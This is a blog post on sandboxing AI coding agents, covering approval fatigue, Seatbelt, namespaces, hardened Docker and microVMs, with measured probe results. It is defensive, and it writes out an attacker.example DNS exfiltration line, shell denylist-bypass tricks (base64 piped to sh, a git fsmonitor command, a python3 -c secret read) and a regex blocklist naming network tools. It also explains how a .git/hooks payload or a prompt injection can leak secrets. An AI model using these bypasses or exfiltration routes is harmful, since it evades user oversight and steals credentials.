Sandboxing and permission policies for AI coding agents

By Flavio

Tagged: AI

Why shell denylists and approval prompts fail, how macOS Seatbelt, Docker, and microVMs isolate coding agents, and live 5-probe boundary tests.

You launch a coding agent in a project folder and ask it to fix a broken integration test. First it asks to run rg, and you hit Enter.

Then it asks to run npm test, and you hit Enter again. Ten minutes later, it has prompted you twenty-four times. When a three-line shell pipeline pops up in the terminal, your thumb hits Enter before your eyes finish reading the first flag.

That moment is where most coding-agent security setups quietly fall apart.

Once you start clicking approve on autopilot, a confirmation dialog stops protecting you. Even worse, many tools try to patch the gap with a regex denylist that blocks rm -rf or cat .env, while leaving python3 -c, node -e, and git wide open inside the same shell.

In this guide, I’ll show you how to confine a coding agent with both permission modes and real OS-level sandboxes. We’ll separate harness rules from kernel enforcement, compare the main isolation tiers on macOS and Linux, and look at filesystem and network traps like .git/hooks.

Then we’ll run a live 5-probe boundary suite comparing an unsandboxed macOS host, macOS Seatbelt, and hardened Docker 29.1.3.

Why approval prompts fail in practice

Asking a human to approve every shell command sounds safe on paper. In a real coding session, the math turns against you right away.

A modern coding agent can fire off thirty tool calls in two minutes. Reading a shell command carefully, checking what files it touches, and thinking through its side effects takes fifteen or twenty seconds.

If you review every call properly, you lose the speed advantage of using an agent. If you match the agent’s pace, you stop reading.

Even when you stay alert, the command string on screen hides most of what is about to run.

Take a routine prompt asking to run npm test. That two-word command looks harmless, right?

Behind it sit the scripts entries in package.json, every test helper in the repository, and every postinstall or native binary inside node_modules. It also inherits the environment variables from your shell.

If the agent edited a test setup file two turns ago, or if you just checked out an untrusted pull request, approving npm test hands over your entire user account.

The same applies to make check, pytest, cargo test, and even git diff. Git can invoke external diff drivers, credential helpers, and filesystem monitors configured inside .git/config. Reviewing the top-level command tells you which binary starts first, and almost nothing about the child processes it spawns.

Approval prompts still have a great place in your workflow. They work well for rare, high-consequence actions like deploying a service, pushing a release tag, or running a database migration against staging.

When prompts fire fifty times an hour for normal build and test loops, you train yourself to click yes. The better fix is to shrink what the running process can touch, so routine commands don’t need a prompt at all.

Separating permission policies from sandboxes

A solid coding-agent setup splits safety into two separate layers that solve different problems.

The first layer is the permission policy, which lives inside the agent harness (the CLI, editor extension, or orchestrator talking to the model). The harness picks which tools appear in the model’s schema, checks arguments before running a call, enforces read-only or allowlisted modes, and decides which actions need human sign-off.

The second layer is the sandbox, which lives below the harness inside the OS kernel, a container runtime, or a hypervisor. Once the harness launches a shell command, test runner, or build script, the sandbox limits what that process and its child processes can read, write, execute, or reach over the network.

Mixing these two layers up leads to brittle setups.

If you rely only on a permission policy, any approved command runs with your full user privileges. Approve pytest once, and the test process can read ~/.ssh/id_ed25519, inspect ~/.aws/credentials, write to ~/.zshrc, or send an outbound HTTP POST with your .env contents.

The harness never sees those file reads because Python makes them directly inside the test process instead of sending separate tool calls.

If you rely only on a sandbox, the kernel still can’t judge intent inside the allowed boundary. A sandbox that lets the agent write to your working directory will still let it delete uncommitted work or corrupt a local SQLite database.

Similarly, a sandbox that allows outbound HTTPS to GitHub so the agent can push a branch will also let it force-push or open twenty noisy pull requests if the token allows it.

Here is how the two layers work together when a tool call runs:

Putting both layers in place gives each one a clear job. The harness controls what actions the model is allowed to request. The sandbox limits what the operating system lets the resulting process tree do, even if the model makes a mistake, hits a prompt injection, or runs hostile dependency code.

Isolation tiers compared

When people say “run the agent in a sandbox”, they might mean a 15-millisecond kernel profile on your laptop or a disposable cloud virtual machine. Picking the right tier depends on startup cost, OS support, whether the agent needs extra services like Postgres, and how much you trust the repository.

macOS Seatbelt (sandbox-exec)

On macOS, the kernel includes a Mandatory Access Control framework commonly called Seatbelt. The sandbox-exec command launches any process under a Scheme-like .sb policy file that restricts file reads, file writes, process execution, and network sockets.

Seatbelt’s biggest advantage is speed and ergonomics. In my probes later in this post, wrapping a command in sandbox-exec took 14 to 20 milliseconds total, compared to 7 to 11 milliseconds on the bare host.

Your agent keeps using native macOS compilers, the Swift toolchain, your Node runtime, and local file paths. There is zero VM boot time and zero bind-mount sync lag.

Two caveats apply when you build on Seatbelt:

  1. Shared host kernel : The sandboxed process shares your macOS host kernel, so you get a strong application boundary instead of hardware virtualization.
  2. CLI deprecation : Apple marked thesandbox-exec CLI tool as deprecated years ago, even though macOS itself and several modern coding-agent harnesses still rely on the underlying Seatbelt kernel subsystem (sandbox_init ).

In practice, Seatbelt policies work reliably on current macOS releases as long as you write your path rules carefully and verify them with real probes.

Linux namespaces, seccomp-BPF, and Landlock

On Linux, you get modular kernel primitives that you can combine without running a full container daemon.

Namespaces (unshare, clone) isolate what a process can see:

  • Mount namespaces hide host directories
  • PID namespaces hide other processes
  • Network namespaces cut off host network interfaces
  • User namespaces map a non-root user inside the sandbox without granting root outside

Tools like bubblewrap (bwrap) wrap these namespaces into a tiny CLI that starts in a few milliseconds.

seccomp-BPF adds syscall filtering on top. You attach a BPF filter that blocks dangerous system calls like ptrace, mount, bpf, or keyctl, shrinking the kernel attack surface available to the sandboxed process.

Landlock (available since Linux 5.13, with TCP restrictions added in newer kernels) lets an unprivileged process lock down its own filesystem and network rules before calling execve. Since Landlock needs no root privileges and no setuid binary, agent harnesses can apply it inside a child process right before running a shell command.

Hardened Docker containers

Containers combine Linux namespaces, cgroups (CPU, memory, and PID caps), and filesystem images into a repeatable runtime. If you want to review the basics, my free Docker Handbook covers images, volumes, and networking from scratch.

A default docker run command is nowhere near a hardened sandbox. Out of the box, a container gets full outbound internet access, a writable root filesystem, a root user inside the container, and a default set of Linux capabilities.

Hardening it takes explicit flags: --network none, --read-only, --cap-drop ALL, --security-opt no-new-privileges, a non-root --user, memory and PID limits, and mounting only the project directory.

On Linux, Docker containers share the host kernel. On macOS, Docker Desktop runs containers inside a lightweight Linux virtual machine, which puts a virtualization layer between the container and your Mac.

The tradeoff is cold-start latency, around 140 to 200 milliseconds per one-off docker run in our probes. You also can’t run macOS-only tools like Xcode inside a Linux image.

If you keep one long-lived hardened container running for the whole session and send commands via docker exec, per-command overhead drops close to native speed.

MicroVMs and cloud sandboxes

MicroVMs give each agent session its own guest kernel, virtual block device, and virtual network interface. Examples include Firecracker on Linux, Apple’s Virtualization framework on macOS, and hosted services like Vercel Sandbox and Docker Sandboxes.

Giving an agent a full microVM solves two problems containers struggle with. First, a kernel bug inside the guest stays trapped in that disposable VM and never touches the host kernel or neighboring workloads.

Second, the agent can run its own Docker Engine, start Postgres or Redis via Compose, and install system packages. When it finishes, you tear the whole machine down without touching your laptop.

The cost is memory, disk space, and slightly heavier setup. Spinning up a warm microVM snapshot takes a few hundred milliseconds to a couple of seconds, and pulling fresh images into a brand-new VM takes longer the first time.

MicroVMs shine for unattended runs, multi-service debugging, and untrusted repositories, while local OS sandboxes stay faster for quick interactive edits. Here is how the four tiers compare:

| Isolation tier | Typical startup | Filesystem isolation | Kernel boundary | Network control | Platform support | Best fit | |---|---|---|---|---|---|---| | macOS Seatbelt ( sandbox-exec ) | 14 to 20 ms | Rule-based path allow/deny on host FS | Shared host kernel | Block all outbound or proxy via localhost | macOS only | Fast interactive local edits and native macOS toolchains | | Linux bwrap + seccomp + Landlock | 10 to 30 ms | Mount namespace + Landlock rules | Shared host kernel | Isolated netns or proxy | Linux only | Local Linux dev boxes and lightweight CI runners | | Hardened Docker container | 140 to 200 ms cold ( exec < 30 ms) | Dedicated rootfs + explicit volume mounts | Shared kernel on Linux; Linux VM on macOS | --network none or isolated bridge/proxy | macOS, Linux, Windows | Repeatable Linux toolchains, untrusted scripts, clean isolation | | MicroVM (Firecracker / Apple Virt / cloud) | 200 ms to 2 s | Ephemeral virtual disk + clone/mount | Separate guest kernel | Virtual NIC + host/cloud egress proxy | Cloud Linux, macOS (Apple Virt) | Unattended agents, Docker-in-Docker, untrusted repos |

Filesystem boundaries and the traps people miss

Most engineers start designing a sandbox with one obvious rule: allow writes only inside the project directory, and deny writes everywhere else. That stops an agent from overwriting ~/.zshrc or dropping files in /usr/local/bin, which is a strong first step.

Reads are much harder to lock down than writes.

Every time a sandboxed shell runs node, python3, git, or sh, it has to read shared libraries under /usr/lib or /System/Library, dynamic linker caches, locale data, and timezone files. It also reads CA certificates in /etc/ssl and runtime binaries in /opt/homebrew or /usr/local.

If you switch to a strict default-deny read policy on a host OS without a container rootfs, half your toolchain breaks on missing library loads until you maintain a long allowlist.

Host-level OS profiles like Seatbelt therefore often start with (allow default) for reads and explicitly deny sensitive trees. Containers and VMs flip the model cleanly: the container starts with an empty filesystem holding only the base Linux image and the single workspace directory you mount in.

Credential stores hiding in your home directory

When a sandboxed process shares your host filesystem, you have to explicitly block every folder where developer credentials live. The usual list starts with ~/.ssh and ~/.aws, and it grows fast once we check a real workstation:

  • ~/.ssh (private keys andconfig host aliases)
  • ~/.aws ,~/.config/gcloud ,~/.azure (cloud credentials and session tokens)
  • ~/.config/gh ,~/.git-credentials ,~/.netrc (GitHub and HTTP tokens)
  • ~/.npmrc ,~/.pypirc ,~/.cargo/credentials.toml ,~/.docker/config.json (package registry auth)
  • ~/.kube/config (cluster credentials)
  • Browser profile directories (saved cookies and local storage)
  • macOS Keychain databases and Unix sockets like SSH_AUTH_SOCK or/var/run/docker.sock

Look closely at that last bullet. Even if you deny reads on ~/.ssh, leaving SSH_AUTH_SOCK in the child environment lets the sandboxed process ask your running ssh-agent to sign challenges on its behalf.

Mounting /var/run/docker.sock into a container is even worse, because it hands the agent root-equivalent control over your host Docker daemon. Always scrub inherited environment variables and strip agent sockets before launching the sandbox.

The workspace .env problem

Suppose you lock down every directory in $HOME and mount only the current repository into a hardened container. You still have a leak if your project folder contains .env, .env.local, or a downloaded production SQLite backup.

Because those files sit inside the workspace mount, the agent can read them directly. As I covered in how to protect secrets when coding agents deploy your app, .gitignore only tells Git what to skip during commits. It does nothing to stop a shell command or test runner from reading .env.

Inside Docker, you can mask a local .env file without deleting it from your host by mounting /dev/null (or a sanitized .env.sandbox file with dummy values) right over it:

docker run --rm \
  --network none \
  --read-only \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  -v "$(pwd)":/work:rw \
  -v /dev/null:/work/.env:ro \
  -w /work \
  alpine:3.20 sh -c 'cat /work/.env'

Inside the container, /work/.env shows up as an empty read-only file, while your real .env on the host stays untouched. For Seatbelt on macOS, add an explicit (deny file-read* (literal "/path/to/repo/.env")) rule for every secret file living inside the repo.

Symlinks and canonical paths on macOS

A subtle bug bites almost everyone who writes their first Seatbelt profile on macOS.

On macOS, /tmp is a symbolic link to /private/tmp, and /var is a symbolic link to /private/var. Seatbelt evaluates path rules against resolved canonical paths in the kernel, so a profile like this will silently fail:

(deny file-write* (subpath "/"))
(allow file-write* (subpath "/tmp/my-agent-workspace"))

Every write to /tmp/my-agent-workspace/test.txt fails with Operation not permitted. The kernel resolves that path to /private/tmp/my-agent-workspace/test.txt before checking the allow rule, so the rule never matches.

Always resolve workspace paths with fs.realpathSync() (or realpath in the shell) before generating a sandbox profile.

Symlinks inside the workspace matter too. If a host-mounted workspace contains a symlink pointing to /etc/passwd or ~/.ssh/id_rsa, a host-level OS sandbox must evaluate the target path (Seatbelt does). A container mount namespace naturally breaks host-pointing symlinks because the target doesn’t exist inside the container.

The .git/hooks write-to-exec trap

Here is the filesystem escape that catches even experienced security engineers.

Picture a tight sandbox where the agent can’t read ~/.ssh, can’t write outside /path/to/repo, and has zero network access. It finishes its work and exits cleanly.

Now you sit back down at your normal, unsandboxed terminal to inspect the diff. You run git status or git checkout -b review.

If the agent had write access to .git/ inside the workspace, it could skip escaping the sandbox altogether and just wait for you to run code on its behalf later.

An agent with write permission to .git/ can drop a shell script into .git/hooks/post-checkout or .git/hooks/pre-commit. It can also append fsmonitor = /path/to/payload.sh or sshCommand = ... to .git/config.

The next time you run a routine Git command on your host machine, Git reads .git/config and runs that hook outside the sandbox. That payload now executes with your full host permissions, SSH keys, cloud tokens, and open internet connection.

Here is how that write-to-exec chain plays out:

Git metadata is just the most common case of this pattern. Anything in the workspace that your editor or shell auto-executes on the host carries the same risk: .vscode/tasks.json, .envrc if you use direnv, .gitattributes filter drivers, and package.json scripts you run locally before reviewing the diff.

We can close the .git/ trap in two clean ways:

  • Protect .git/ in a direct mount : Mark.git/hooks and.git/config read-only inside the sandbox using a Seatbelt deny rule or read-only Docker bind mounts over those paths.
  • Use a clone-based sandbox : For untrusted or unattended tasks, let the agent work on a separate clone inside its container or VM, then fetch only the Git commits back to your host repo.

Why does git fetch help so much here? Because it transfers commit objects, trees, and blobs, and never copies .git/hooks or .git/config from the remote clone.

Network egress control: closing the exfiltration path

Filesystem isolation limits what an agent can read. Network isolation limits whether anything it reads can leave the machine.

Think about what happens during a normal coding task. Even when you hide ~/.ssh and ~/.aws, the agent still reads your proprietary source code, test fixtures, internal API URLs, and maybe a local staging database dump.

If the sandbox has unrestricted outbound internet access, a single prompt injection hidden in a dependency README or GitHub issue can tell the model to Base64-encode a file and send it out. That exfiltration works through curl, Python’s urllib, or even a DNS query like $(base64 -w0 secret).attacker.example.

Cutting raw internet access from the sandbox breaks that entire exfiltration path. You have two clean ways to set it up.

Air-gapped execution

The simplest and strongest setup is zero network access: (deny network-outbound) in Seatbelt, or --network none in Docker.

With --network none, the container gets only a loopback interface ( 127.0.0.1), with no external NIC, no default route, and no reachable DNS server.

Your tests can still spin up a local HTTP server on 127.0.0.1:3000 and hit it from Playwright or fetch. Every attempt to reach the public internet fails at the kernel or resolver layer.

Air-gapped execution works smoothly if you split your workflow into two phases. Fetch dependencies first (npm ci, pip install, cargo fetch) while the environment has registry access, or pre-bake them into a base image. Then launch the coding agent offline to edit code and run tests against the local cache.

Domain-allowlist HTTP proxy

Sometimes an agent genuinely needs limited network access during a session, such as installing a missing npm package, reading documentation, or calling a specific test API.

Instead of giving the sandbox a direct route to the internet, keep its network isolated with no direct outbound TCP/UDP and no raw DNS. Then expose a single host-side HTTP/HTTPS proxy through a dedicated bridge or Unix socket.

Have the proxy enforce an explicit domain allowlist:

  • Allow registry.npmjs.org andpypi.org for package installs
  • Deny everything else by default, including raw IP addresses and private LAN ranges (10.0.0.0/8 ,169.254.169.254 ,192.168.0.0/16 )
  • Log every destination hostname, HTTP method, and response status outside the sandbox where the agent can’t tamper with the log

Blocking private IP ranges and cloud metadata endpoints (169.254.169.254) matters even more on cloud VMs and CI runners. On those hosts, an open outbound route lets a sandbox query instance metadata and steal temporary IAM credentials.

Domain allowlists still have one edge case. If you allow a multi-tenant platform like api.github.com or gist.github.com and the agent holds a token or hits a public upload endpoint, data can still leave to an attacker-controlled repo or gist on that allowed domain.

Keep tokens out of the sandboxed process, or place credentials inside a narrow host-side proxy that injects auth headers only for specific repositories and routes.

Why shell denylists always fail (and a live bypass)

When teams add a shell tool to a coding agent, their first instinct is almost always a command denylist. They write a regex that blocks rm -rf, sudo, cat, head, tail, curl, wget, nc, and .ssh.

On paper it looks reassuring. In practice, a string denylist in front of a general-purpose shell breaks against even a basic bypass. Any developer machine comes packed with Turing-complete interpreters and tools that run arbitrary code or read arbitrary files.

Here is why string matching loses every time:

  • Interpreters :python3 -c ,node -e ,ruby -e , andperl -e can read any file, delete directories recursively, and open raw TCP sockets without ever mentioningcat ,rm , orcurl .
  • Shell indirection :echo Y2F0IC5lbnY= | base64 -d | sh , variable concatenation (a=ca; b=t; $a$b .env ), and glob expansion (cat .e?v ) hide blocked strings from a regex check effortlessly.
  • Hidden execution flags : “Safe” developer tools likegit -c core.fsmonitor='sh -c ...' status ,find . -exec ... ,awk 'BEGIN { system(...) }' ,tar --checkpoint-action=exec=... , andmake all execute arbitrary commands behind an innocent binary name.

Instead of arguing in the abstract, I tested a real bypass on my Mac alongside the sandbox lab. Suppose a harness runs a naive regex denylist blocking cat, head, tail, less, curl, wget, rm -rf, and .ssh:

const naiveDenylist = /\b(cat|head|tail|less|more|curl|wget|nc|ssh|scp|sudo)\b|rm\s+-rf|\.ssh/i

const command =
  'python3 -c "import pathlib; print(pathlib.Path(\'/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env\').read_text().strip())"'

console.log('passes_naive_denylist:', !naiveDenylist.test(command))

That Python one-liner doesn’t contain a single blocked word from the regex. Here is what happened when I ran that command against the regex check, on the unsandboxed macOS host, and inside our macOS Seatbelt profile:

Command:
  python3 -c "import pathlib; print(pathlib.Path('/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env').read_text().strip())"

passes_naive_denylist: true

Host (29ms, exit 0):
  DEMO_SECRET_TOKEN=dummy_value_not_real_12345

Seatbelt (56ms, exit 1):
  Traceback (most recent call last): File "<string>", line 1, in <module> ...
  PermissionError: [Errno 1] Operation not permitted

On the unsandboxed host, the command slipped right past the denylist and printed the secret in 29 milliseconds.

Inside Seatbelt, Python started normally and called open() on the secret path. The macOS kernel immediately rejected the syscall with Operation not permitted (exit code 1, 56 milliseconds).

Inside hardened Docker, the secret file was never mounted into the container’s mount namespace at all.

The kernel doesn’t care whether a file read comes from cat, python3, node, a Base64-decoded pipeline, or a compiled C binary. Every one of them hits the same syscall boundary.

Does that mean harness-level command rules are useless? No, you just invert them:

  • Use allowlists for narrow, auto-approved read-only helpers likegit status ,git diff ,ls , orrg with validated arguments.
  • Expose structured non-shell tools where practical, such as dedicated file-read and search tools that enforce workspace path checks in code.
  • Let the OS or container sandbox enforce the real wall whenever a shell command runs.

Live lab: testing 5 boundary probes across Host, Seatbelt, and Docker

Rules in config files are easy to misread and easy to break with a single wrong character. The only way to trust a sandbox config is to attack it with real probes and inspect the verbatim OS errors.

I built a small Node.js probe runner on macOS with Docker 29.1.3. Then I ran five boundary probes plus the python3 -c denylist bypass against three environments:

  1. Unsandboxed macOS Host (baseline)
  2. macOS Seatbelt (sandbox-exec -f agent.sb )
  3. Hardened Docker 29.1.3 runningalpine:3.20

The Seatbelt profile (agent.sb)

Here is the exact Seatbelt policy I used for the run. Notice /private/tmp/... in the workspace allow rule so macOS symlink resolution matches:

(version 1)
(allow default)
(deny network-outbound)
(deny file-write* (subpath "/"))
(allow file-write* (subpath "/private/tmp/ai-post-labs/agent-sandboxing-permissions/workspace"))
(deny file-read* (literal "/private/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env"))
(deny file-read* (subpath "/Users/flaviocopes/.ssh"))

In Seatbelt, later more specific rules override broader earlier rules for the same operation class. (deny file-write* (subpath "/")) blocks writes across the whole filesystem, and the next line re-opens writes only inside the workspace folder.

(deny network-outbound) cuts off all outbound TCP, UDP, and DNS traffic. The final two lines block reads on our dummy secret file and ~/.ssh.

The hardened Docker command

For the container tests, each probe ran inside a fresh ephemeral Alpine container with five explicit hardening flags:

docker run --rm \
  --network none \
  --read-only \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  -v /private/tmp/ai-post-labs/agent-sandboxing-permissions/workspace:/work:rw \
  alpine:3.20 sh -c "<probe>"

Each flag removes a specific class of risk:

  • --network none removes all external network interfaces and DNS routing.
  • --read-only mounts the container’s root filesystem read-only, blocking writes to/etc ,/usr , and/tmp (add--tmpfs /tmp:rw,noexec,nosuid,size=64m when a build tool needs scratch space).
  • --cap-drop ALL strips every Linux capability from the process, removing privileges like raw sockets,CAP_SYS_ADMIN , andCAP_CHOWN .
  • --security-opt no-new-privileges stops setuid binaries or file capabilities from escalating privileges inside the container.
  • -v .../workspace:/work:rw mounts only the project folder, leaving the rest of the host invisible.

For production agent sessions, also add --user 1000:1000, --pids-limit 256, and --memory 2g so a runaway test suite can’t fork-bomb or exhaust RAM.

Probe output and measured matrix

Here is the terminal output from running the five boundary probes and the regex denylist bypass back to back:

Here are the measured statuses, exit codes, and wall-clock latencies across Host, Seatbelt, and Docker 29.1.3:

| Security probe | Unsandboxed Host | macOS Seatbelt ( sandbox-exec ) | Hardened Docker 29.1.3 | |---|---|---|---| | Write inside workspace | ALLOWED ( exit 0 , 11ms) | ALLOWED ( exit 0 , 18ms) | ALLOWED ( exit 0 , 202ms) | | Write outside workspace | EXPOSED ( exit 0 , 7ms) | BLOCKED ( exit 1 , 18ms) | BLOCKED ( exit 1 , 142ms) | | Read secret file outside workspace | EXPOSED ( exit 0 , 8ms) | BLOCKED ( exit 1 , 20ms) | BLOCKED ( exit 1 , 146ms) | | List ~/.ssh directory | EXPOSED ( exit 0 , 11ms) | BLOCKED ( exit 1 , 14ms) | BLOCKED ( exit 1 , 170ms) | | Outbound HTTP request (exfiltration) | EXPOSED ( exit 0 , 145ms) | BLOCKED ( exit 6 , 18ms) | BLOCKED ( exit 1 , 5167ms) | | Regex denylist bypass ( python3 -c ) | EXPOSED ( exit 0 , 29ms) | BLOCKED ( exit 1 , 56ms) | BLOCKED (secret not mounted) |

And here is the same comparison table formatted as a visual summary:

Reading the verbatim kernel and container blocks

The error strings themselves show how each sandbox stopped the probe. They also reveal a big architectural difference between host profiles and containers.

First, here is what happened when each environment tried to write outside the workspace:

Host:     WROTE_OUTSIDE (exit 0, 7ms)
Seatbelt: sh: /tmp/ai-post-labs/agent-sandboxing-permissions/outside-write.txt: Operation not permitted (exit 1, 18ms)
Docker:   sh: can't create /etc/pwned.txt: Read-only file system (exit 1, 142ms)

Seatbelt denied the write via Mandatory Access Control (EPERM: Operation not permitted). Docker denied it because the root filesystem is mounted read-only (EROFS: Read-only file system).

Next, here are the verbatim errors for reading the secret file outside the workspace and listing ~/.ssh:

Host read_secret:     DEMO_SECRET_TOKEN=dummy_value_not_real_12345 (exit 0, 8ms)
Seatbelt read_secret: cat: /tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env: Operation not permitted (exit 1, 20ms)
Docker read_secret:   cat: can't open '/tmp/ai-post-labs/agent-sandboxing-permissions/fake-secret.env': No such file or directory (exit 1, 146ms)

Host read_ssh:        /Users/flaviocopes/.ssh (exit 0, 11ms)
Seatbelt read_ssh:    ls: /Users/flaviocopes/.ssh: Operation not permitted (exit 1, 14ms)
Docker read_ssh:      ls: /root/.ssh: No such file or directory (exit 1, 170ms)

Notice the difference between Operation not permitted and No such file or directory. Under Seatbelt, the host filesystem stays visible, so you have to remember to deny every sensitive path.

Under Docker, the mount namespace hides the entire host by default, so unmounted files don’t exist inside the container. You never leak a new credential directory just because you forgot to add a deny rule for it.

Now let’s look at the outbound HTTP exfiltration probe and its surprising latency gap:

Host outbound_net:     HTTP 200 (exit 0, 145ms)
Seatbelt outbound_net: HTTP 000curl: (6) Could not resolve host: example.com (exit 6, 18ms)
Docker outbound_net:   wget: bad address 'example.com' (exit 1, 5167ms)

Why did Seatbelt fail in 18 milliseconds while Docker took 5,167 milliseconds?

Inside Seatbelt, (deny network-outbound) tells the macOS kernel to reject the outbound DNS socket right away, so curl fails on the first try in 18ms.

Inside Alpine with --network none, BusyBox wget reads /etc/resolv.conf and tries DNS resolution over the missing external network. It waits through its ~5-second resolver timeout before printing wget: bad address 'example.com'.

Both sandboxes stopped the request completely. Knowing why that timeout happens saves you from thinking an offline container is hung when a stray network call inside a test suite stalls for five seconds.

Finally, look at the latency numbers on normal commands. On the bare host, a simple shell command ran in 7 to 11ms, while Seatbelt ran the same commands in 14 to 20ms (under 10ms of overhead).

Starting a brand-new Docker container per probe took 142 to 202ms. Over a 100-command agent session, 200ms per command adds twenty seconds of startup overhead and drops in-memory caches between calls.

Because of that cold-start cost, real container-based harnesses start one hardened container at the beginning of a session and send each tool call via docker exec.

Designing tiered permission policies that hold up

One blanket policy rarely fits every coding task. If your everyday sandbox is as strict as an untrusted-code VM, you’ll get annoyed and turn it off. If you use your everyday local policy for an unattended overnight run, one bad command can ruin your afternoon.

Splitting your setup into explicit tiers keeps friction low where risk is low and locks everything down where consequences grow. Here is the four-tier model I use:

| Tier | Filesystem scope | Network access | Command policy | Approval model | Typical tasks | |---|---|---|---|---|---| | Tier 0: Read-only audit | Read-only repo, sensitive $HOME paths denied | None | Read-only tools and search only | Auto-approved | Codebase Q&A, log analysis, PR review, bug diagnosis | | Tier 1: Local OS sandbox | Workspace RW ( .git/hooks and.env protected), rest RO/denied | None (or allowlisted registry proxy) | Shell allowed inside OS sandbox | Auto-approve inside sandbox; prompt on boundary requests | Interactive feature work, refactoring, unit tests | | Tier 2: Hardened container or microVM | Cloned workspace RW, host invisible | None after deps, or strict domain proxy | Full shell inside disposable guest | Unattended inside VM; human reviews final git diff | Overnight tasks, untrusted repos, Postgres/Redis migrations | | Tier 3: External / live actions | Scoped credentials kept outside model context | Specific API endpoint only | Structured typed tool, never raw shell | Explicit human approval bound to exact arguments | Production deploys, DNS changes, billing, customer emails |

Before starting a session, I route each task into the right tier with a quick decision tree:

Notice what changes at Tier 3. Once an action reaches outside your machine to charge a card, deploy code, update DNS, or delete production records, local OS sandboxing only protects the local process.

At that boundary, the real guard is a structured tool with narrowly scoped credentials and a confirmation step locked to the exact arguments being executed. I built this pattern for domain purchases in how to prevent AI agents from taking irreversible actions.

How I sandbox my coding agents

In my daily work, I split tasks along the same line I described in things I let coding agents do unattended, and things I never do: what happens if the agent is wrong?

Everyday local work (Tier 1)

For interactive work on my own repositories, I use a Tier 1 local OS sandbox. The agent can read the project, edit files inside the workspace, and run the local test suite and build without making me click Allow every ten seconds.

Writes outside the workspace are blocked by the OS, ~/.ssh and cloud credential folders are off-limits, and outbound network access stays closed unless a step needs it. Since the kernel holds the wall, I can let the agent loop through twenty test runs in a row without approval fatigue.

Unattended runs and untrusted repos (Tier 2)

I move up to Tier 2 for database migrations, messy dependency trees, unfamiliar open-source repos, or unattended runs while I’m away from the keyboard. A hardened Docker container or a dedicated Docker Sandbox VM gives the agent a clean clone of the repo and its own disposable services, with zero host credentials mounted.

When it finishes, I fetch the branch and read the diff. I always check .git/hooks, package.json, and build scripts before running anything on my Mac.

Production and live actions (Tier 3)

For anything touching production servers, live customer data, payments, or email delivery, I never hand the agent broad shell tokens or auto-approval. The agent can inspect logs in read-only mode, write a migration script, or prepare a draft PR. I run the live action myself, or I approve a typed command whose parameters are locked before execution.

Where heavier sandboxing fits poorly

This setup also has clear limits where heavier sandboxing gets in the way:

  • Native macOS and iOS apps : Xcode builds, Developer ID signing, notarization, and Keychain access can’t run inside a Linux Docker container. For those projects, I rely on a macOS Seatbelt workspace boundary or run UI tests inside a dedicated macOS VM instead of forcing Linux containers where they don’t belong.
  • Live OAuth and external API work : Tasks that need live third-party OAuth flows or iterative calls to external APIs clash with an air-gapped--network none sandbox. Running them completely offline slows everything down, so a domain-allowlist proxy with scoped test credentials keeps things moving without opening the whole internet.
  • Over-locking low-risk local repos : Adding five manual confirmation steps per minute backfires fast. Every time I make a sandbox too painful for normal edits, the temptation to pass a “bypass all approvals” flag wins. A fast OS sandbox that stays on for every session protects you far more than a strict setup you keep turning off.

Start by running the five probes from this post against whatever agent harness you use today. Check whether a shell command can write outside the repo, read ~/.ssh, read a dummy secret file, bypass a filter with python3 -c, or hit example.com over HTTP.

Once you see Operation not permitted or Read-only file system come back from your own terminal, you’ll know where the real walls are.

Pair OS sandboxing with prompt injection and jailbreaks for the untrusted-input threat model, and MCP vs direct API integrations for keeping credentials out of shared shell environments.

Want me to talk about your product? You can sponsor this site.

原文来源:flaviocopes.com